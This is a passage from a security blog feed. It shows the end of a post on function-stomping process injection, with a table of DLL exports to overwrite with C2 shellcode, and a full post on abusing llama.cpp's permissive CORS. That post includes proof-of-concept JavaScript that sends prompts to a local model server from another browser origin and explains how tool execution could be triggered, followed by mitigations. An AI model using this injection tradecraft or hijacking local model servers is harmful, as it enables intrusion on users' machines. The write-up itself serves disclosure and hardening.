      <td>Only fires on edit-control interaction. Works in Win11 UWP Notepad - full beacon checkin confirmed.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">ieframe.dll</code></td>
      <td><code class="language-plaintext highlighter-rouge">IECreateFile</code></td>
      <td>Legacy IE; rarely loaded, and no modern app calls it.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">mscms.dll</code></td>
      <td><code class="language-plaintext highlighter-rouge">CMSOpenProfile</code></td>
      <td>Color management; infrequent.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">midimap.dll</code></td>
      <td><code class="language-plaintext highlighter-rouge">midiOutShortMsg</code></td>
      <td>MIDI; basically never used on modern systems.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">cabinet.dll</code></td>
      <td><code class="language-plaintext highlighter-rouge">CABReadCabinetDirectory</code></td>
      <td>CAB file ops; rare.</td>
    </tr>
  </tbody>
</table>

<p>And the <strong>don’t</strong> list:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">ntdll.dll</code>, <code class="language-plaintext highlighter-rouge">kernel32.dll</code>, <code class="language-plaintext highlighter-rouge">kernelbase.dll</code>, <code class="language-plaintext highlighter-rouge">hal.dll</code> - the OS calls these constantly. Stomping them can take down the machine, not just the process.</li>
  <li><code class="language-plaintext highlighter-rouge">IMM32.DLL</code> - the Input Method Manager is called on <em>every</em> text input message cycle. I stomped <code class="language-plaintext highlighter-rouge">ImmUnlockIMCC</code> + 100KB and overwrote dozens of adjacent IME functions; the next IME query from the UI thread hit the stomped range and I got an immediate <code class="language-plaintext highlighter-rouge">0xc0000005</code>. The exact same 100KB payload in <code class="language-plaintext highlighter-rouge">capauthz.dll</code> was fine. <strong>Rule of thumb: for large payloads, make sure the <em>entire</em> stomped range is non-critical, not just the one function you named.</strong></li>
</ul>

<p>And that’s a wrap!</p>

<p>We went from “what does function stomping actually mean (versus the module stomping I wrote about before)” all the way to a working Adaptix BOF that stomps an exported function in a remote process, and a Crystal Palace PIC shellcode that runs wherever it lands. 
I hope this was informative and at least somewhat entertaining 😸 Appreciate you all and thanks for supporting what I do and reading the blog! Until next time!</p>

<h2 id="anyrun-results"><strong><em>ANY.RUN Results</em></strong></h2>

<p><a href="https://app.any.run/tasks/deabb311-db87-4225-b6d9-ae43d827969c?p=6ac2c4544f8a4970814600a8">ANY.RUN results</a></p>

<div style="text-align: right;">
  
<b>Sponsored By:</b><br />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/anyrun.png" />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/vector35.png" />

</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Process Injection" /><category term="Windows 11" /><category term="g3tsyst3m" /><category term="2026" /><category term="process injection" /><category term="function stomping" /><category term="module stomping" /><category term="C2" /><category term="Adaptix" /><category term="PIC shellcode" /><category term="Crystal Palace" /><summary type="html"><![CDATA[If you’ve been following the blog for a while, you’ll likely recall my Module Stomping 101 post where I walked through the classic “load a benign DLL, stomp the entry point, boom” technique. Well, I’ve been down that rabbit hole a little deeper since then 😸. Today we’re talking about function stomping, a related, but meaningfully different, flavor of the same concept. We’re going to build the whole thing as an Adaptix C2 BOF and feed it PIC shellcode derived from a custom coded Crystal Palace toolchain. By the end of this post you’ll have a cross-process function stomper running off the beacon, and a small PIC shellcode you can drop into it that executes from wherever it lands.]]></summary></entry><entry><title type="html">Llama.cpp, an Ice Cold CORS Light, and Command Execution - Put it on my Tab!</title><link href="https://g3tsyst3m.com/cors/Llama.cpp,-an-Ice-Cold-CORS-Light,-and-Command-Execution-Put-it-on-my-Tab!/" rel="alternate" type="text/html" title="Llama.cpp, an Ice Cold CORS Light, and Command Execution - Put it on my Tab!" /><published>2026-08-30T00:00:00+00:00</published><updated>2026-08-30T00:00:00+00:00</updated><id>https://g3tsyst3m.com/cors/Llama.cpp,%20an%20Ice%20Cold%20CORS%20Light,%20and%20Command%20Execution%20-%20Put%20it%20on%20my%20Tab!</id><content type="html" xml:base="https://g3tsyst3m.com/cors/Llama.cpp,-an-Ice-Cold-CORS-Light,-and-Command-Execution-Put-it-on-my-Tab!/"><![CDATA[<p>I’ve been running llama.cpp, a local LLM inference engine, on both Windows and Ubuntu for a while now. I enjoy the simplicity of Llama’s Web UI, and it just works for my needs. I also use OpenCode which is phenomenal and also very easy to use (great for setting up agents too!).</p>

<p>For my particular GPU (7900XTX 24gb) I prefer running everything on Ubuntu since it has better native support for my AMD based GPU. Here’s my rig below. It’s a GMKTek K15 Mini PC with 48gb ram, connected via an oculink port supplied by the minipc, which connects to a DEG1 dock. The dock has an MSI850 powersupply which powers my eGPU sitting next to it. It’s a pretty fun setup and very portable!</p>

<p><img width="640" height="360" alt="GMKTek K15 Mini PC with eGPU setup via Oculink and DEG1 dock" src="https://github.com/user-attachments/assets/e016db00-6878-4a53-8a21-0ee10739352d" /></p>

<p><img width="660" height="611" alt="AMD 7900XTX 24GB GPU in external enclosure" src="https://github.com/user-attachments/assets/8ca64b9f-9567-40fa-91ac-a712e0997f50" /></p>

<p>On average I can pull around <strong>65 t/s</strong>. I can even get up to <strong>85 t/s</strong> when writing code! Lastly, I average between <strong>55–65 t/s</strong> for thinking/reasoning tasks, all using <strong>Qwen3.8-27B</strong> (UD-IQ4_XS quant) as my base inferencing model.</p>

<p>To be even more transparent with you, I cancelled my Claude subscription after learning how to really use my local rig!  I spent $700 on the GPU which I think is a decent deal, and ~$800 on the mini-pc when it was on sale on Amazon.  The DEG1 dock was $109 and PSU was around $110.  In case anyone is interested in the cost involved in such a rig.  It’s still not cheap, but it was reasonable for my budget and what I was shooting for.  Okay, so on to the actual content you’ve been waiting for. 😸</p>

<h2 id="tldr">TL;DR</h2>

<p>Local llama.cpp servers can be exposed to browser-origin abuse if CORS is permissive and no API key is set. With default-like settings, a malicious page can send prompts to a local model and consume resources. If the server is also started with <code class="language-plaintext highlighter-rouge">--tools all</code>, malicious same-origin content, such as a bookmarklet or injected extension script, can drive the model to execute local tools. The fix is simple: bind tightly, restrict origins, disable tools unless needed, and use API keys.</p>

<h2 id="threat-model">Threat Model</h2>

<p>Before we dive in, let’s be explicit about what is being abused and what is not:</p>

<ul>
  <li><strong>The target machine</strong> is running <code class="language-plaintext highlighter-rouge">llama-server</code> locally, bound to loopback (<code class="language-plaintext highlighter-rouge">127.0.0.1:8080</code> or <code class="language-plaintext highlighter-rouge">localhost:8080</code>).</li>
  <li><strong>No external network exposure.</strong> The server is not reachable from the internet.</li>
  <li><strong>The victim’s own browser</strong> on that same machine is the attack vector. The victim visits attacker-controlled content or loads attacker-controlled browser content.</li>
  <li><strong>No API key</strong> is configured on the server.</li>
  <li><strong>Origin matters.</strong> The server’s CORS configuration determines which browser origins can read API responses.</li>
  <li><strong>Tools off vs. on.</strong> Without <code class="language-plaintext highlighter-rouge">--tools all</code>, the impact is limited to prompt abuse and compute theft. With <code class="language-plaintext highlighter-rouge">--tools all</code>, local tool execution becomes possible.</li>
</ul>

<p>This is not a remote internet RCE. It is a local-host trust issue mediated through the browser.</p>

<h2 id="the-cors-line-that-caught-my-eye">The CORS Line That Caught My Eye</h2>

<p>I noticed when running <code class="language-plaintext highlighter-rouge">llama-server</code> this line in the startup output, which is enabled by default:</p>

<div style="width:100%;display:block;"><style>@media(max-width:768px){.zoom-wrap img{width:150%!important;max-width:none!important;height:auto!important;}}</style><button onclick="this.nextElementSibling.showModal()" style="background:none;border:none;padding:0;cursor:pointer;width:100%;display:block;text-align:left;"><img src="https://github.com/user-attachments/assets/b0d23300-9160-4b64-b55f-74e3abcbf116" alt="The CORS Line That Caught My Eye" style="width:100%;height:auto;" /></button><dialog onclick="this.close()" style="border:none;background:transparent;padding:0;width:95vw;max-width:1400px;max-height:85vh;overflow:auto;outline:none;margin:auto;"><div class="zoom-wrap" style="width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;display:flex;justify-content:flex-start;"><img src="https://github.com/user-attachments/assets/b0d23300-9160-4b64-b55f-74e3abcbf116" alt="The CORS Line That Caught My Eye" style="width:100%;height:auto;box-shadow:0 4px 25px rgba(0,0,0,0.6);border-radius:4px;" /></div><p style="color:#ccc;text-align:center;margin-top:12px;font-size:14px;font-family:sans-serif;user-select:none;">(Touch or click anywhere to close)</p></dialog></div>

<p>Here’s the actual command I ran btw, which will likely get close to the expected tokens/sec I shared above if you own the same card:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span><span class="nv">GGML_VK_VISIBLE_DEVICES</span><span class="o">=</span>1 ./llama-server <span class="nt">-m</span> /home/g3tsyst3m/Downloads/Qwen3.8-27B-UD-IQ4_XS.gguf <span class="nt">-ngl</span> 99 <span class="nt">-c</span> 75000 <span class="nt">-fa</span> on <span class="nt">-np</span> 1 <span class="nt">-ctk</span> f16 <span class="nt">-ctv</span> f16 <span class="nt">-b</span> 4096 <span class="nt">-ub</span> 1024 <span class="nt">--load-mode</span> mmap <span class="nt">--spec-type</span> draft-mtp <span class="nt">--spec-draft-n-max</span> 4 <span class="nt">--spec-draft-p-min</span> 0.75 <span class="nt">--spec-draft-type-k</span> q4_0 <span class="nt">--spec-draft-type-v</span> q4_0 <span class="nt">--prio</span> 3 <span class="nt">--seed</span> <span class="nt">-1</span> <span class="nt">--chat-template-kwargs</span> <span class="s2">"{</span><span class="se">\"</span><span class="s2">reasoning_effort</span><span class="se">\"</span><span class="s2">: </span><span class="se">\"</span><span class="s2">low</span><span class="se">\"</span><span class="s2">}"</span> <span class="nt">--temp</span> 1.0 <span class="nt">--top-p</span> 0.95 <span class="nt">--top-k</span> 20 <span class="nt">--min-p</span> 0.0 <span class="nt">--presence-penalty</span> 0.0 <span class="nt">--repeat-penalty</span> 1.0 <span class="nt">--alias</span> Qwen3.8-27B <span class="nt">--jinja</span> <span class="nt">--mmproj</span> /home/g3tsyst3m/mmproj-F16.gguf
</code></pre></div></div>

<blockquote>
  <p>⚠️ <strong>Note on <code class="language-plaintext highlighter-rouge">sudo</code>:</strong> I use <code class="language-plaintext highlighter-rouge">sudo</code> here for GPU permissions in my setup. You should avoid running <code class="language-plaintext highlighter-rouge">llama-server</code> as root if possible. If the server can execute tools (see below), running it elevated is especially risky because tool execution inherits the server’s privileges.</p>
</blockquote>

<p>That <code class="language-plaintext highlighter-rouge">CORS: allow all origins</code> line is exactly the kind of thing that should make you nervous. 🤔</p>

<h2 id="hijacking-llamacpp--while-its-still-just-a-little-tipsy">Hijacking Llama.cpp 🦙 While It’s Still Just a Little Tipsy</h2>

<p>Since the API exposed no obvious origin or authentication restrictions, I wondered whether a malicious page could simply talk to an already running local <code class="language-plaintext highlighter-rouge">llama-server</code>. The answer is a very resounding yes!</p>

<p><img width="797" height="1064" alt="Browser DevTools showing successful cross-origin fetch to local llama-server" src="https://github.com/user-attachments/assets/b35d1ef3-40a0-44e4-9a72-3257864ccbc2" /></p>

<h3 id="what-cors-actually-does-here">What CORS Actually Does Here</h3>

<p>The browser allows this because the server’s CORS policy permits the page’s origin to read the response. CORS is not a network firewall; it is a browser-side response-reading policy. If the server responds with an allowed origin, the page can read the result.</p>

<p>A few important distinctions:</p>

<ul>
  <li><strong>CORS does not necessarily prevent the request from being sent.</strong> It mostly controls whether the page can read the response. Even when CORS blocks the page from reading the response, the request may still hit the server.</li>
  <li><strong>In this case, because CORS is permissive (<code class="language-plaintext highlighter-rouge">allow all origins</code>), the page can read the model’s response too.</strong></li>
</ul>

<div style="width:100%;display:block;"><style>@media(max-width:768px){.zoom-wrap img{width:150%!important;max-width:none!important;height:auto!important;}}</style><button onclick="this.nextElementSibling.showModal()" style="background:none;border:none;padding:0;cursor:pointer;width:100%;display:block;text-align:left;"><img src="https://github.com/user-attachments/assets/7a7b0877-9e6d-4d90-a944-13508df4e1ee" alt="Browser DevTools showing CORS headers in the llama-server response" style="width:100%;height:auto;" /></button><dialog onclick="this.close()" style="border:none;background:transparent;padding:0;width:95vw;max-width:1400px;max-height:85vh;overflow:auto;outline:none;margin:auto;"><div class="zoom-wrap" style="width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;display:flex;justify-content:flex-start;"><img src="https://github.com/user-attachments/assets/7a7b0877-9e6d-4d90-a944-13508df4e1ee" alt="Browser DevTools showing CORS headers in the llama-server response" style="width:100%;height:auto;box-shadow:0 4px 25px rgba(0,0,0,0.6);border-radius:4px;" /></div><p style="color:#ccc;text-align:center;margin-top:12px;font-size:14px;font-family:sans-serif;user-select:none;">(Touch or click anywhere to close)</p></dialog></div>

<p>Here’s the code for our minimal <code class="language-plaintext highlighter-rouge">HTML + JavaScript</code> used in the example above. This targets the <code class="language-plaintext highlighter-rouge">llama-server</code> OpenAI-compatible endpoint:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;!DOCTYPE html&gt;</span>
<span class="nt">&lt;html</span> <span class="na">lang=</span><span class="s">"en"</span><span class="nt">&gt;</span>
<span class="nt">&lt;head&gt;</span>
    <span class="nt">&lt;meta</span> <span class="na">charset=</span><span class="s">"UTF-8"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;meta</span> <span class="na">name=</span><span class="s">"viewport"</span> <span class="na">content=</span><span class="s">"width=device-width, initial-scale=1.0"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;title&gt;</span>Local AI Interface<span class="nt">&lt;/title&gt;</span>
    <span class="nt">&lt;style&gt;</span>
        <span class="nt">body</span> <span class="p">{</span>
            <span class="nl">font-family</span><span class="p">:</span> <span class="n">Arial</span><span class="p">,</span> <span class="nb">sans-serif</span><span class="p">;</span>
            <span class="nl">max-width</span><span class="p">:</span> <span class="m">700px</span><span class="p">;</span>
            <span class="nl">margin</span><span class="p">:</span> <span class="m">40px</span> <span class="nb">auto</span><span class="p">;</span>
            <span class="nl">padding</span><span class="p">:</span> <span class="m">0</span> <span class="m">20px</span><span class="p">;</span>
            <span class="nl">background-color</span><span class="p">:</span> <span class="nx">#f4f4f9</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="nt">h2</span> <span class="p">{</span> <span class="nl">color</span><span class="p">:</span> <span class="nx">#333</span><span class="p">;</span> <span class="p">}</span>
        <span class="nt">textarea</span> <span class="p">{</span>
            <span class="nl">width</span><span class="p">:</span> <span class="m">100%</span><span class="p">;</span>
            <span class="nl">height</span><span class="p">:</span> <span class="m">100px</span><span class="p">;</span>
            <span class="nl">padding</span><span class="p">:</span> <span class="m">10px</span><span class="p">;</span>
            <span class="nl">box-sizing</span><span class="p">:</span> <span class="nb">border-box</span><span class="p">;</span>
            <span class="nl">border</span><span class="p">:</span> <span class="m">1px</span> <span class="nb">solid</span> <span class="nx">#ccc</span><span class="p">;</span>
            <span class="nl">border-radius</span><span class="p">:</span> <span class="m">4px</span><span class="p">;</span>
            <span class="nl">font-size</span><span class="p">:</span> <span class="m">14px</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="nt">button</span> <span class="p">{</span>
            <span class="nl">margin-top</span><span class="p">:</span> <span class="m">10px</span><span class="p">;</span>
            <span class="nl">padding</span><span class="p">:</span> <span class="m">10px</span> <span class="m">20px</span><span class="p">;</span>
            <span class="nl">background-color</span><span class="p">:</span> <span class="nx">#007bff</span><span class="p">;</span>
            <span class="nl">color</span><span class="p">:</span> <span class="nx">white</span><span class="p">;</span>
            <span class="nl">border</span><span class="p">:</span> <span class="nb">none</span><span class="p">;</span>
            <span class="nl">border-radius</span><span class="p">:</span> <span class="m">4px</span><span class="p">;</span>
            <span class="nl">cursor</span><span class="p">:</span> <span class="nb">pointer</span><span class="p">;</span>
            <span class="nl">font-size</span><span class="p">:</span> <span class="m">14px</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="nt">button</span><span class="nd">:hover</span> <span class="p">{</span> <span class="nl">background-color</span><span class="p">:</span> <span class="nx">#0056b3</span><span class="p">;</span> <span class="p">}</span>
        <span class="nf">#response</span> <span class="p">{</span>
            <span class="nl">margin-top</span><span class="p">:</span> <span class="m">20px</span><span class="p">;</span>
            <span class="nl">padding</span><span class="p">:</span> <span class="m">15px</span><span class="p">;</span>
            <span class="nl">background-color</span><span class="p">:</span> <span class="nx">#fff</span><span class="p">;</span>
            <span class="nl">border</span><span class="p">:</span> <span class="m">1px</span> <span class="nb">solid</span> <span class="nx">#ddd</span><span class="p">;</span>
            <span class="nl">border-radius</span><span class="p">:</span> <span class="m">4px</span><span class="p">;</span>
            <span class="nl">white-space</span><span class="p">:</span> <span class="nb">pre-wrap</span><span class="p">;</span>
            <span class="nl">min-height</span><span class="p">:</span> <span class="m">50px</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="nt">&lt;/style&gt;</span>
<span class="nt">&lt;/head&gt;</span>
<span class="nt">&lt;body&gt;</span>

    <span class="nt">&lt;h2&gt;</span>Local AI Prompt Interface<span class="nt">&lt;/h2&gt;</span>
    <span class="nt">&lt;textarea</span> <span class="na">id=</span><span class="s">"promptInput"</span> <span class="na">placeholder=</span><span class="s">"Enter your prompt here..."</span><span class="nt">&gt;&lt;/textarea&gt;</span>
    <span class="nt">&lt;br&gt;</span>
    <span class="nt">&lt;button</span> <span class="na">onclick=</span><span class="s">"sendPrompt()"</span><span class="nt">&gt;</span>Send Prompt<span class="nt">&lt;/button&gt;</span>

    <span class="nt">&lt;h3&gt;</span>Response:<span class="nt">&lt;/h3&gt;</span>
    <span class="nt">&lt;div</span> <span class="na">id=</span><span class="s">"response"</span><span class="nt">&gt;</span>Your AI response will appear here...<span class="nt">&lt;/div&gt;</span>

    <span class="nt">&lt;script&gt;</span>
        <span class="k">async</span> <span class="kd">function</span> <span class="nf">sendPrompt</span><span class="p">()</span> <span class="p">{</span>
            <span class="kd">const</span> <span class="nx">prompt</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">promptInput</span><span class="dl">'</span><span class="p">).</span><span class="nx">value</span><span class="p">;</span>
            <span class="kd">const</span> <span class="nx">responseDiv</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">response</span><span class="dl">'</span><span class="p">);</span>

            <span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nx">prompt</span><span class="p">.</span><span class="nf">trim</span><span class="p">())</span> <span class="p">{</span>
                <span class="nx">responseDiv</span><span class="p">.</span><span class="nx">innerText</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">Please enter a prompt first.</span><span class="dl">"</span><span class="p">;</span>
                <span class="k">return</span><span class="p">;</span>
            <span class="p">}</span>

            <span class="nx">responseDiv</span><span class="p">.</span><span class="nx">innerText</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">Thinking...</span><span class="dl">"</span><span class="p">;</span>

            <span class="k">try</span> <span class="p">{</span>
                <span class="c1">// Targets the llama-server OpenAI-compatible endpoint.</span>
                <span class="kd">const</span> <span class="nx">res</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">http://localhost:8080/v1/chat/completions</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
                    <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
                    <span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
                        <span class="dl">'</span><span class="s1">Content-Type</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">application/json</span><span class="dl">'</span>
                    <span class="p">},</span>
                    <span class="na">body</span><span class="p">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nf">stringify</span><span class="p">({</span>
                        <span class="na">model</span><span class="p">:</span> <span class="dl">"</span><span class="s2">local-model</span><span class="dl">"</span><span class="p">,</span>
                        <span class="na">messages</span><span class="p">:</span> <span class="p">[{</span> <span class="na">role</span><span class="p">:</span> <span class="dl">"</span><span class="s2">user</span><span class="dl">"</span><span class="p">,</span> <span class="na">content</span><span class="p">:</span> <span class="nx">prompt</span> <span class="p">}]</span>
                    <span class="p">})</span>
                <span class="p">});</span>

                <span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nx">res</span><span class="p">.</span><span class="nx">ok</span><span class="p">)</span> <span class="p">{</span>
                    <span class="k">throw</span> <span class="k">new</span> <span class="nc">Error</span><span class="p">(</span><span class="s2">`Server returned status: </span><span class="p">${</span><span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
                <span class="p">}</span>

                <span class="kd">const</span> <span class="nx">data</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">res</span><span class="p">.</span><span class="nf">json</span><span class="p">();</span>
                <span class="nx">responseDiv</span><span class="p">.</span><span class="nx">innerText</span> <span class="o">=</span> <span class="nx">data</span><span class="p">.</span><span class="nx">choices</span><span class="p">?.[</span><span class="mi">0</span><span class="p">]?.</span><span class="nx">message</span><span class="p">?.</span><span class="nx">content</span> <span class="o">||</span> <span class="nx">JSON</span><span class="p">.</span><span class="nf">stringify</span><span class="p">(</span><span class="nx">data</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>

            <span class="p">}</span> <span class="k">catch </span><span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
                <span class="nx">responseDiv</span><span class="p">.</span><span class="nx">innerText</span> <span class="o">=</span> <span class="s2">`Error: </span><span class="p">${</span><span class="nx">error</span><span class="p">.</span><span class="nx">message</span><span class="p">}</span><span class="s2">\n\nNote: Ensure your local server is running on port 8080 and has CORS enabled.`</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="nt">&lt;/script&gt;</span>

<span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<h3 id="what-this-means-and-what-it-doesnt">What This Means (And What It Doesn’t)</h3>

<p>If you stumble upon a machine running <code class="language-plaintext highlighter-rouge">llama-server</code> with permissive CORS and no API key, a malicious page loaded in the victim’s browser could:</p>

<ul>
  <li>Send arbitrary prompts to the local model</li>
  <li>Consume GPU/CPU resources (compute theft)</li>
  <li>Read model outputs</li>
  <li>Abuse a local convenience service</li>
</ul>

<p><strong>This is not shell execution.</strong> Without tool support enabled, the server will not execute local file or shell tools for you. That requires the <code class="language-plaintext highlighter-rouge">--tools all</code> flag.  We will discuss more on that in the next section.</p>

<h2 id="the-catch-tools-change-everything">The Catch: Tools Change Everything</h2>

<p>As discussed earlier, there is a catch: without tool support enabled, the server will not execute local file or shell tools for you. That requires the <code class="language-plaintext highlighter-rouge">--tools all</code> flag, and interestingly, enabling tools also changes the CORS behavior.</p>

<div style="width:100%;display:block;"><style>@media(max-width:768px){.zoom-wrap img{width:150%!important;max-width:none!important;height:auto!important;}}</style><button onclick="this.nextElementSibling.showModal()" style="background:none;border:none;padding:0;cursor:pointer;width:100%;display:block;text-align:left;"><img src="https://github.com/user-attachments/assets/914268a3-3607-41ba-ad3a-013e07c79406" alt="llama-server output showing CORS restricted to localhost when --tools all is enabled" style="width:100%;height:auto;" /></button><dialog onclick="this.close()" style="border:none;background:transparent;padding:0;width:95vw;max-width:1400px;max-height:85vh;overflow:auto;outline:none;margin:auto;"><div class="zoom-wrap" style="width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;display:flex;justify-content:flex-start;"><img src="https://github.com/user-attachments/assets/914268a3-3607-41ba-ad3a-013e07c79406" alt="llama-server output showing CORS restricted to localhost when --tools all is enabled" style="width:100%;height:auto;box-shadow:0 4px 25px rgba(0,0,0,0.6);border-radius:4px;" /></div><p style="color:#ccc;text-align:center;margin-top:12px;font-size:14px;font-family:sans-serif;user-select:none;">(Touch or click anywhere to close)</p></dialog></div>

<p>This is where it gets much worse from a vulnerability perspective: the server can now execute local tools. ⚠️</p>

<p>HOWEVER!  We’re going to have to work for that access to execute tools.  If I try running our minimal HTML + JavaScript code again (opened from a different origin, e.g., a file on disk), we are met with a DENY. Even <code class="language-plaintext highlighter-rouge">llama-server</code> detects it:</p>

<div style="width:100%;display:block;"><style>@media(max-width:768px){.zoom-wrap img{width:150%!important;max-width:none!important;height:auto!important;}}</style><button onclick="this.nextElementSibling.showModal()" style="background:none;border:none;padding:0;cursor:pointer;width:100%;display:block;text-align:left;"><img src="https://github.com/user-attachments/assets/6ba6e9ff-add3-4f6b-8469-b0ab16fc359e" alt="llama-server log line denying the cross-origin request" style="width:100%;height:auto;" /></button><dialog onclick="this.close()" style="border:none;background:transparent;padding:0;width:95vw;max-width:1400px;max-height:85vh;overflow:auto;outline:none;margin:auto;"><div class="zoom-wrap" style="width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;display:flex;justify-content:flex-start;"><img src="https://github.com/user-attachments/assets/6ba6e9ff-add3-4f6b-8469-b0ab16fc359e" alt="llama-server log line denying the cross-origin request" style="width:100%;height:auto;box-shadow:0 4px 25px rgba(0,0,0,0.6);border-radius:4px;" /></div><p style="color:#ccc;text-align:center;margin-top:12px;font-size:14px;font-family:sans-serif;user-select:none;">(Touch or click anywhere to close)</p></dialog></div>

<p>We get the same result if we manually configure a specific allowed origin, which is what I would recommend anyway:</p>

<div style="width:100%;display:block;"><style>@media(max-width:768px){.zoom-wrap img{width:150%!important;max-width:none!important;height:auto!important;}}</style><button onclick="this.nextElementSibling.showModal()" style="background:none;border:none;padding:0;cursor:pointer;width:100%;display:block;text-align:left;"><img src="https://github.com/user-attachments/assets/2e3dd6f8-bf65-48c6-843d-9209a652de4d" alt="llama-server output showing CORS restricted to http://localhost:8080" style="width:100%;height:auto;" /></button><dialog onclick="this.close()" style="border:none;background:transparent;padding:0;width:95vw;max-width:1400px;max-height:85vh;overflow:auto;outline:none;margin:auto;"><div class="zoom-wrap" style="width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;display:flex;justify-content:flex-start;"><img src="https://github.com/user-attachments/assets/2e3dd6f8-bf65-48c6-843d-9209a652de4d" alt="llama-server output showing CORS restricted to http://localhost:8080" style="width:100%;height:auto;box-shadow:0 4px 25px rgba(0,0,0,0.6);border-radius:4px;" /></div><p style="color:#ccc;text-align:center;margin-top:12px;font-size:14px;font-family:sans-serif;user-select:none;">(Touch or click anywhere to close)</p></dialog></div>

<p>I added this flag to <code class="language-plaintext highlighter-rouge">llama-server</code>: <code class="language-plaintext highlighter-rouge">--cors-origins "http://localhost:8080"</code></p>

<blockquote>
  <p><strong>Note:</strong> <code class="language-plaintext highlighter-rouge">localhost</code> and <code class="language-plaintext highlighter-rouge">127.0.0.1</code> are treated as <strong>different origins</strong> by the browser. Make sure the URL you browse to matches the origin you allow in <code class="language-plaintext highlighter-rouge">--cors-origins</code>. If you allow <code class="language-plaintext highlighter-rouge">http://localhost:8080</code>, a page at <code class="language-plaintext highlighter-rouge">http://127.0.0.1:8080</code> has a different origin and will be blocked.</p>
</blockquote>

<p>So, to summarize the escalation:</p>

<table>
  <thead>
    <tr>
      <th>Scenario</th>
      <th>CORS</th>
      <th>API Key</th>
      <th>Tools</th>
      <th>Impact</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Default-ish local server</td>
      <td>permissive</td>
      <td>none</td>
      <td>off</td>
      <td>Prompt abuse, compute theft</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">--tools all</code></td>
      <td>restricted to localhost</td>
      <td>none</td>
      <td>on</td>
      <td>Local tool execution if same-origin script runs</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">--tools all</code> + API key</td>
      <td>restricted</td>
      <td>yes</td>
      <td>on</td>
      <td>Much harder; attacker needs key and trusted-origin execution</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">--tools all</code> + API key + non-root</td>
      <td>restricted</td>
      <td>yes</td>
      <td>on</td>
      <td>Best local posture</td>
    </tr>
  </tbody>
</table>

<h2 id="defensive-notes-️">Defensive Notes 🛡️</h2>

<p>This is no bueno and I highly encourage folks to ensure you have your setup locked down tight and only allow trusted connections. In my case, I manually set CORS origins to <code class="language-plaintext highlighter-rouge">localhost:8080</code>, keep the server bound to loopback, and I also keep an API key enabled.</p>

<p>Key mitigations:</p>

<ol>
  <li><strong>Bind tightly.</strong> Keep the server on <code class="language-plaintext highlighter-rouge">127.0.0.1</code> or <code class="language-plaintext highlighter-rouge">localhost</code>. Do not expose it to <code class="language-plaintext highlighter-rouge">0.0.0.0</code>.</li>
  <li><strong>Restrict CORS origins.</strong> Use <code class="language-plaintext highlighter-rouge">--cors-origins "http://localhost:8080"</code> (or your specific origin) rather than allowing all origins.</li>
  <li><strong>Enable an API key.</strong> Require authentication before any API access.</li>
  <li><strong>Disable tools unless needed.</strong> <code class="language-plaintext highlighter-rouge">--tools all</code> is a powerful feature with a powerful blast radius.</li>
  <li><strong>Don’t run as root.</strong> If the server can execute tools, running it elevated means tool execution inherits root privileges. Use a dedicated user or GPU group instead.</li>
</ol>

<p>To require authentication via the API key, start your <code class="language-plaintext highlighter-rouge">llama-server</code> from the command line using the <code class="language-plaintext highlighter-rouge">--api-key</code> or <code class="language-plaintext highlighter-rouge">--api-key-file</code> flags:</p>

<h3 id="pass-the-api-key-directly-in-the-command">Pass the API key directly in the command</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./llama-server <span class="nt">-m</span> models/your-model.gguf <span class="nt">--api-key</span> <span class="s2">"your_secret_token_here"</span>
</code></pre></div></div>

